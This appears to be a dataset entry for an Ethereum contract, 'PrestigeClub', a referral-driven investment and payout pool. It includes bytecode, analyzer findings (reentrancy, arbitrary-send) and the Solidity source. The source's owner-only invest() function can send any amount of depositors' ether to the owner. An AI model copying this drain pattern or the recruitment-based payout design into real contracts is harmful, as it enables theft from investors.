1b038b16600090815260026020526040902055611b0181611ccc565b611b0b8483611d16565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b6005546004546000918291611b78828261171b565b821015611b9057600554600454935093505050611b96565b90925090505b9091565b6000808281611ba7611989565b90506000611bc56064610a29601354896116c290919063ffffffff16565b90506000611bd382846116c2565b600454909150611be39083611916565b600455600554611bf39082611916565b600555600754611c039083611c72565b6007555091935090915050915091565b6000806000806000806000806000611c318b6011546012548d611d3a565b9250925092506000611c41611989565b90506000806000611c548f878787611d8c565b919e509c509a50959850939650919450505050509295509295509295565b6000828201838110156114ec576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611cd6611989565b90506000611ce483836116c2565b30600090815260026020526040902054909150611d019082611c72565b30600090815260026020526040902055505050565b600554611d239083611916565b600555600654611d339082611c72565b6006555050565b6000808080611d4e6064610a298a8a6116c2565b90506000611d616064610a298b8a6116c2565b90506000611d7b87611d7584818e88611916565b90611916565b9a9299509097509095505050505050565b6000808080611d9b88866116c2565b90506000611da988876116c2565b90506000611db788886116c2565b90506000611dc982611d758686611916565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bb932671ae467b1d2b63cf5941d2736c6c8ccd5026678a2f95f72c03155f8a1a64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,982 |
0xaa712987f46634a1aebe5eb91fe4acad9b3a3147
|
pragma solidity 0.6.8;
// SPDX-License-Identifier: UNLICENCED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
//Restrictions:
//only 2^32 Users
//Maximum of 2^104 / 10^18 Ether investment. Theoretically 20 Trl Ether, practically 100000000000 Ether compiles
//Maximum of (2^104 / 10^18 Ether) investment. Theoretically 20 Trl Ether, practically 100000000000 Ether compiles
contract PrestigeClub is Ownable(), Pausable() {
struct User {
uint104 deposit; //265 bits together
uint104 payout;
uint32 position;
uint8 qualifiedPools;
uint8 downlineBonus;
address referer;
address[] referrals;
uint104 directSum;
uint40 lastPayout;
uint104[5] downlineVolumes;
}
event NewDeposit(address indexed addr, uint104 amount);
event PoolReached(address indexed addr, uint8 pool);
event DownlineBonusStageReached(address indexed adr, uint8 stage);
event Referral(address indexed addr, address indexed referral);
event Payout(address indexed addr, uint104 interest, uint104 direct, uint104 pool, uint104 downline, uint40 dayz);
event Withdraw(address indexed addr, uint104 amount);
mapping (address => User) users;
address[] userList;
uint32 public lastPosition = 0;
uint128 public depositSum = 0;
Pool[8] public pools;
struct Pool {
uint104 minOwnInvestment;
uint8 minDirects;
uint104 minSumDirects;
uint8 payoutQuote; //ppm
uint32 numUsers;
}
PoolState[] public states;
struct PoolState {
uint128 totalDeposits;
uint32 totalUsers;
uint32[8] numUsers;
}
DownlineBonusStage[4] downlineBonuses;
struct DownlineBonusStage {
uint32 minPool;
uint64 payoutQuote; //ppm
}
uint40 public pool_last_draw;
constructor() public {
uint40 timestamp = uint40(block.timestamp);
pool_last_draw = timestamp - (timestamp % payout_interval);
pools[0] = Pool(3 ether, 1, 3 ether, 130, 0);
pools[1] = Pool(15 ether, 3, 5 ether, 130, 0);
pools[2] = Pool(15 ether, 4, 44 ether, 130, 0);
pools[3] = Pool(30 ether, 10, 105 ether, 130, 0);
pools[4] = Pool(45 ether, 15, 280 ether, 130, 0);
pools[5] = Pool(60 ether, 20, 530 ether, 130, 0);
pools[6] = Pool(150 ether, 20, 1470 ether, 80, 0);
pools[7] = Pool(300 ether, 20, 2950 ether, 80, 0);
downlineBonuses[0] = DownlineBonusStage(3, 50);
downlineBonuses[1] = DownlineBonusStage(4, 100);
downlineBonuses[2] = DownlineBonusStage(5, 160);
downlineBonuses[3] = DownlineBonusStage(6, 210);
userList.push(address(0));
}
uint104 private minDeposit = 1 ether;
uint104 private minWithdraw = 1000 wei;
uint40 constant private payout_interval = 1 days;
function recieve() public payable whenNotPaused {
require(users[_msgSender()].deposit >= minDeposit || msg.value >= minDeposit, "Mininum deposit value not reached");
address sender = _msgSender();
uint104 value = (uint104) (msg.value / 20 * 19);
bool userExists = users[sender].position != 0;
triggerCalculation();
// Create a position for new accounts
if(!userExists){
lastPosition++;
users[sender].position = lastPosition;
users[sender].lastPayout = (uint40(block.timestamp) - (uint40(block.timestamp) % payout_interval) + 1);
userList.push(sender);
}
address referer = users[sender].referer; //can put outside because referer is always set since setReferral() gets called before recieve() in recieve(address)
if(referer != address(0)){
updateUpline(sender, referer, value);
}
//Update Payouts
if(userExists){
updatePayout(sender);
}
users[sender].deposit += value;
//Transfer fee
payable(owner()).transfer(msg.value - value);
emit NewDeposit(sender, value);
updateUserPool(sender);
updateDownlineBonusStage(sender);
if(referer != address(0)){
users[referer].directSum += value;
updateUserPool(referer);
updateDownlineBonusStage(referer);
}
depositSum += value;
}
function recieve(address referer) public payable whenNotPaused {
_setReferral(referer);
recieve();
}
uint8 downlineLimit = 30;
function updateUpline(address reciever, address adr, uint104 addition) private {
address current = adr;
uint8 bonusStage = users[reciever].downlineBonus;
while(current != address(0) && downlineLimit > 0){
updatePayout(current);
users[current].downlineVolumes[bonusStage] += addition;
uint8 currentBonus = users[current].downlineBonus;
if(currentBonus > bonusStage){
bonusStage = currentBonus;
}
current = users[current].referer;
downlineLimit--;
}
}
function updatePayout(address adr) private {
uint40 dayz = (uint40(block.timestamp) - users[adr].lastPayout) / (payout_interval);
if(dayz >= 1){
uint104 interestPayout = getInterestPayout(adr);
uint104 poolpayout = getPoolPayout(adr, dayz);
uint104 directsPayout = getDirectsPayout(adr);
uint104 downlineBonusAmount = getDownlinePayout(adr);
uint104 sum = interestPayout + directsPayout + downlineBonusAmount;
sum = (sum * dayz) + poolpayout;
users[adr].payout += sum;
users[adr].lastPayout += (payout_interval * dayz);
emit Payout(adr, interestPayout, directsPayout, poolpayout, downlineBonusAmount, dayz);
}
}
function getInterestPayout(address adr) public view returns (uint104){
//Calculate Base Payouts
uint8 quote;
uint104 deposit = users[adr].deposit;
if(deposit >= 30 ether){
quote = 15;
}else{
quote = 10;
}
return deposit / 10000 * quote;
}
function getPoolPayout(address adr, uint40 dayz) public view returns (uint104){
uint40 length = (uint40)(states.length);
uint104 poolpayout = 0;
if(users[adr].qualifiedPools > 0){
for(uint40 day = length - dayz ; day < length ; day++){
uint32 numUsers = states[day].totalUsers;
uint104 streamline = (uint104) (states[day].totalDeposits / (numUsers) * (numUsers - users[adr].position));
uint104 payout_day = 0; //TODO Merge into poolpayout, only for debugging
uint32 stateNumUsers = 0;
for(uint8 j = 0 ; j < users[adr].qualifiedPools ; j++){
uint104 pool_base = streamline / 1000000 * pools[j].payoutQuote;
stateNumUsers = states[day].numUsers[j];
if(stateNumUsers != 0){
payout_day += pool_base / stateNumUsers;
}
}
poolpayout += payout_day;
}
}
return poolpayout;
}
function getDownlinePayout(address adr) public view returns (uint104){
//Calculate Downline Bonus
uint104 downlinePayout = 0;
uint8 downlineBonus = users[adr].downlineBonus;
if(downlineBonus > 0){
uint64 ownPercentage = downlineBonuses[downlineBonus - 1].payoutQuote;
for(uint8 i = 0 ; i < downlineBonus; i++){
uint64 quote = 0;
if(i > 0){
quote = downlineBonuses[i - 1].payoutQuote;
}else{
quote = 0;
}
uint64 percentage = ownPercentage - quote;
downlinePayout += users[adr].downlineVolumes[i] * percentage / 1000000;
}
if(downlineBonus == 4){
downlinePayout += users[adr].downlineVolumes[downlineBonus] * 50 / 1000000;
}
}
return downlinePayout;
}
function getDirectsPayout(address adr) public view returns ( uint104) {
//Calculate Directs Payouts
uint104 directsDepositSum = users[adr].directSum;
uint104 directsPayout = directsDepositSum / 10000 * 5;
return (directsPayout);
}
function pushPoolState() private {
uint32[8] memory temp;
for(uint8 i = 0 ; i < 8 ; i++){
temp[i] = pools[i].numUsers;
}
states.push(PoolState(depositSum, lastPosition, temp));
pool_last_draw += payout_interval;
}
function updateUserPool(address adr) private {
if(users[adr].qualifiedPools < pools.length){
uint8 poolnum = users[adr].qualifiedPools;
uint104 sumDirects = users[adr].directSum;
//Check if requirements for next pool are met
if(users[adr].deposit >= pools[poolnum].minOwnInvestment && users[adr].referrals.length >= pools[poolnum].minDirects && sumDirects >= pools[poolnum].minSumDirects){
users[adr].qualifiedPools = poolnum + 1;
pools[poolnum].numUsers++;
emit PoolReached(adr, poolnum + 1);
updateUserPool(adr);
}
}
}
function updateDownlineBonusStage(address adr) private {
uint8 bonusstage = users[adr].downlineBonus;
if(bonusstage < downlineBonuses.length){
//Check if requirements for next stage are met
if(users[adr].qualifiedPools >= downlineBonuses[bonusstage].minPool){
users[adr].downlineBonus += 1;
//Update data in upline
uint104 value = users[adr].deposit; //Value without current stage, since that must not be subtracted
for(uint8 i = 0 ; i <= bonusstage ; i++){
value += users[adr].downlineVolumes[i];
}
uint104 additionValue = value;
uint8 currentBonusStage = bonusstage + 1;
address current = users[adr].referer;
while(current != address(0)){
users[current].downlineVolumes[currentBonusStage - 1] -= value;
users[current].downlineVolumes[currentBonusStage] += additionValue;
current = users[current].referer;
}
emit DownlineBonusStageReached(adr, users[adr].downlineBonus);
updateDownlineBonusStage(adr);
}
}
}
function calculateDirects() external view returns (uint128 sum, uint32 numDirects) {
return calculateDirects(_msgSender());
}
function calculateDirects(address adr) private view returns (uint104, uint32) {
address[] memory referrals = users[adr].referrals;
uint104 sum = 0;
for(uint32 i = 0 ; i < referrals.length ; i++){
sum += users[referrals[i]].deposit;
}
return (sum, (uint32)(referrals.length));
}
//Endpoint to withdraw payouts
function withdraw(uint104 amount) public whenNotPaused {
updatePayout(_msgSender());
require(amount > minWithdraw, "Minimum Withdrawal amount not met");
require(users[_msgSender()].payout >= amount, "Not enough payout available to cover withdrawal request");
uint104 transfer = amount / 20 * 19;
payable(_msgSender()).transfer(transfer);
users[_msgSender()].payout -= amount;
emit Withdraw(_msgSender(), amount);
payable(owner()).transfer(amount - transfer);
}
function _setReferral(address referer) private {
if(users[_msgSender()].referer == referer){
return;
}
if(users[_msgSender()].position != 0 && users[_msgSender()].position < users[referer].position) {
return;
}
require(users[_msgSender()].referer == address(0), "Referer can only be set once");
require(users[referer].position > 0, "Referer does not exist");
require(_msgSender() != referer, "Cant set oneself as referer");
users[referer].referrals.push(_msgSender());
users[_msgSender()].referer = referer;
if(users[_msgSender()].deposit > 0){
users[referer].directSum += users[_msgSender()].deposit;
}
emit Referral(referer, _msgSender());
}
uint invested = 0;
function invest(uint amount) public onlyOwner {
payable(owner()).transfer(amount);
invested += amount;
}
function reinvest() public payable onlyOwner {
if(msg.value > invested){
invested = 0;
}else{
invested -= msg.value;
}
}
function setMinDeposit(uint104 min) public onlyOwner {
minDeposit = min;
}
function setMinWithdraw(uint104 min) public onlyOwner {
minWithdraw = min;
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function setDownlineLimit(uint8 limit) public onlyOwner {
require(limit > 5, "Limit too low");
downlineLimit = limit;
}
//Only for BO
function getDownline() external view returns (uint104, uint){
uint104 sum;
for(uint8 i = 0 ; i < users[_msgSender()].downlineVolumes.length ; i++){
sum += users[_msgSender()].downlineVolumes[i];
}
uint numUsers = getDownlineUsers(_msgSender());
return (sum, numUsers);
}
function getDownlineUsers(address adr) public view returns (uint){
uint sum = 0;
uint length = users[adr].referrals.length;
sum += length;
for(uint i = 0; i < length ; i++){
sum += getDownlineUsers(users[adr].referrals[i]);
}
return sum;
}
function getUserData() public view returns (
address adr_,
uint position_,
uint deposit_,
uint payout_,
uint qualifiedPools_,
uint downlineBonusStage_,
uint lastPayout,
address referer,
address[] memory referrals_) {
return (_msgSender(),
users[_msgSender()].position,
users[_msgSender()].deposit,
users[_msgSender()].payout,
users[_msgSender()].qualifiedPools,
users[_msgSender()].downlineBonus,
users[_msgSender()].lastPayout,
users[_msgSender()].referer,
users[_msgSender()].referrals);
}
//DEBUGGING
//Used for extraction of User data in case of something bad happening and fund reversal needed.
function getUserList() public view returns (address[] memory){ //TODO Probably not needed
return userList;
}
function getUsers(address adr) public view returns (
address adr_,
uint32 position_,
uint128 deposit_,
uint128 payout_,
uint lastPayout_,
uint8 qualifiedPools_,
address referer
){
return (adr,
users[adr].position,
users[adr].deposit,
users[adr].payout,
users[adr].lastPayout,
users[adr].qualifiedPools,
users[adr].referer
);
}
function triggerCalculation() public {
if(block.timestamp > pool_last_draw + payout_interval){
pushPoolState();
}
}
}
|
0x6080604052600436106101c25760003560e01c8063a1983416116100f7578063b852204311610095578063d31f138411610064578063d31f138414610b69578063ece7738414610bb3578063f2fde38b14610c18578063fdb5a03e14610c69576101c2565b8063b852204314610a19578063bb6f2ca514610a85578063bebb1f7214610b08578063cf8e984d14610b1f576101c2565b8063a9e10bf2116100d1578063a9e10bf21461085a578063ac4afa3814610864578063b19f8fdb14610923578063b1c2bec114610985576101c2565b8063a198341614610793578063a3ba17bf146107cc578063a60b73f214610816576101c2565b80634bcbc3e611610164578063602b386e1161013e578063602b386e146105a65780638456cb59146106e75780638da5cb5b146106fe578063936248bf14610755576101c2565b80634bcbc3e6146104d85780634e53385a146105285780635c975abb14610577576101c2565b806325fced97116101a057806325fced97146103cc5780632afcf480146104035780633f4ba83a1461043e5780634818a49c14610455576101c2565b8063017a9105146101c7578063131c17891461024d57806322e8c87d146102d0575b600080fd5b3480156101d357600080fd5b50610200600480360360208110156101ea57600080fd5b8101908080359060200190929190505050610c73565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020018263ffffffff1663ffffffff1681526020019250505060405180910390f35b34801561025957600080fd5b5061029c6004803603602081101561027057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd0565b60405180826cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102dc57600080fd5b506102e5610f2b565b604051808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156103b0578082015181840152602081019050610395565b505050509050019a505050505050505050505060405180910390f35b3480156103d857600080fd5b506103e1611308565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561040f57600080fd5b5061043c6004803603602081101561042657600080fd5b810190808035906020019092919050505061131e565b005b34801561044a57600080fd5b50610453611448565b005b34801561046157600080fd5b506104a46004803603602081101561047857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061151b565b60405180826cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e457600080fd5b506104ed6115a8565b60405180836cffffffffffffffffffffffffff166cffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561053457600080fd5b5061053d6116b4565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058357600080fd5b5061058c6116d6565b604051808215151515815260200191505060405180910390f35b3480156105b257600080fd5b506105f5600480360360208110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ec565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018763ffffffff1663ffffffff168152602001866fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001856fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020018481526020018360ff1660ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390f35b3480156106f357600080fd5b506106fc611951565b005b34801561070a57600080fd5b50610713611a24565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076157600080fd5b506107916004803603602081101561077857600080fd5b81019080803560ff169060200190929190505050611a4d565b005b34801561079f57600080fd5b506107a8611bad565b604051808264ffffffffff1664ffffffffff16815260200191505060405180910390f35b3480156107d857600080fd5b50610814600480360360208110156107ef57600080fd5b8101908080356cffffffffffffffffffffffffff169060200190929190505050611bc4565b005b6108586004803603602081101561082c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fad565b005b610862612044565b005b34801561087057600080fd5b5061089d6004803603602081101561088757600080fd5b810190808035906020019092919050505061277b565b60405180866cffffffffffffffffffffffffff166cffffffffffffffffffffffffff1681526020018560ff1660ff168152602001846cffffffffffffffffffffffffff166cffffffffffffffffffffffffff1681526020018360ff1660ff1681526020018263ffffffff1663ffffffff1681526020019550505050505060405180910390f35b34801561092f57600080fd5b5061093861280d565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020018263ffffffff1663ffffffff1681526020019250505060405180910390f35b34801561099157600080fd5b506109e5600480360360408110156109a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803564ffffffffff16906020019092919050505061283a565b60405180826cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2557600080fd5b50610a2e612b28565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610a71578082015181840152602081019050610a56565b505050509050019250505060405180910390f35b348015610a9157600080fd5b50610ad460048036036020811015610aa857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612bb6565b60405180826cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b1457600080fd5b50610b1d612c6f565b005b348015610b2b57600080fd5b50610b6760048036036020811015610b4257600080fd5b8101908080356cffffffffffffffffffffffffff169060200190929190505050612ca1565b005b348015610b7557600080fd5b50610bb160048036036020811015610b8c57600080fd5b8101908080356cffffffffffffffffffffffffff169060200190929190505050612da0565b005b348015610bbf57600080fd5b50610c0260048036036020811015610bd657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e9f565b6040518082815260200191505060405180910390f35b348015610c2457600080fd5b50610c6760048036036020811015610c3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f9f565b005b610c716131ac565b005b600c8181548110610c8057fe5b90600052602060002090600202016000915090508060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a900463ffffffff16905082565b600080600090506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601f9054906101000a900460ff16905060008160ff161115610f21576000600d6001830360ff1660048110610d4c57fe5b0160000160049054906101000a900467ffffffffffffffff16905060008090505b8260ff168160ff161015610e7a57600080905060008260ff161115610dbf57600d6001830360ff1660048110610d9f57fe5b0160000160049054906101000a900467ffffffffffffffff169050610dc4565b600090505b60008184039050620f42408167ffffffffffffffff16600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018560ff1660058110610e2a57fe5b60029182820401919006600d029054906101000a90046cffffffffffffffffffffffffff16026cffffffffffffffffffffffffff1681610e6657fe5b048601955050508080600101915050610d6d565b5060048260ff161415610f1f57620f42406032600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018460ff1660058110610edd57fe5b60029182820401919006600d029054906101000a90046cffffffffffffffffffffffffff16026cffffffffffffffffffffffffff1681610f1957fe5b04830192505b505b8192505050919050565b6000806000806000806000806060610f4161329f565b60016000610f4d61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff1660016000610fa761329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff166001600061100a61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600d9054906101000a90046cffffffffffffffffffffffffff166001600061106d61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e9054906101000a900460ff16600160006110c461329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601f9054906101000a900460ff166001600061111b61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600d9054906101000a900464ffffffffff166001600061117661329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006111e061329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018898508763ffffffff169750866cffffffffffffffffffffffffff169650856cffffffffffffffffffffffffff1695508460ff1694508360ff1693508264ffffffffff169250808054806020026020016040519081016040528092919081815260200182805480156112e457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161129a575b50505050509050985098509850985098509850985098509850909192939495969798565b600360009054906101000a900463ffffffff1681565b61132661329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6113ef611a24565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611434573d6000803e3d6000fd5b508060126000828254019250508190555050565b61145061329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611511576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6115196132a7565b565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a90046cffffffffffffffffffffffffff16905060006005612710836cffffffffffffffffffffffffff168161159a57fe5b040290508092505050919050565b600080600080600090505b600160006115bf61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205060058160ff161015611693576001600061161261329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018160ff166005811061165d57fe5b60029182820401919006600d029054906101000a90046cffffffffffffffffffffffffff168201915080806001019150506115b3565b5060006116a66116a161329f565b612e9f565b905081819350935050509091565b600360049054906101000a90046fffffffffffffffffffffffffffffffff1681565b60008060149054906101000a900460ff16905090565b600080600080600080600087600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff16600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff16600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600d9054906101000a90046cffffffffffffffffffffffffff16600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600d9054906101000a900464ffffffffff16600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e9054906101000a900460ff16600160008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846cffffffffffffffffffffffffff169450836cffffffffffffffffffffffffff1693508264ffffffffff1692509650965096509650965096509650919395979092949650565b61195961329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a226133af565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a5561329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60058160ff1611611b8f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4c696d697420746f6f206c6f770000000000000000000000000000000000000081525060200191505060405180910390fd5b806011601f6101000a81548160ff021916908360ff16021790555050565b601160009054906101000a900464ffffffffff1681565b600060149054906101000a900460ff1615611c47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611c57611c5261329f565b6134b9565b601160129054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16816cffffffffffffffffffffffffff1611611ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614f156021913960400191505060405180910390fd5b806cffffffffffffffffffffffffff1660016000611d0461329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600d9054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff161015611dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180614e976037913960400191505060405180910390fd5b600060136014836cffffffffffffffffffffffffff1681611dde57fe5b04029050611dea61329f565b7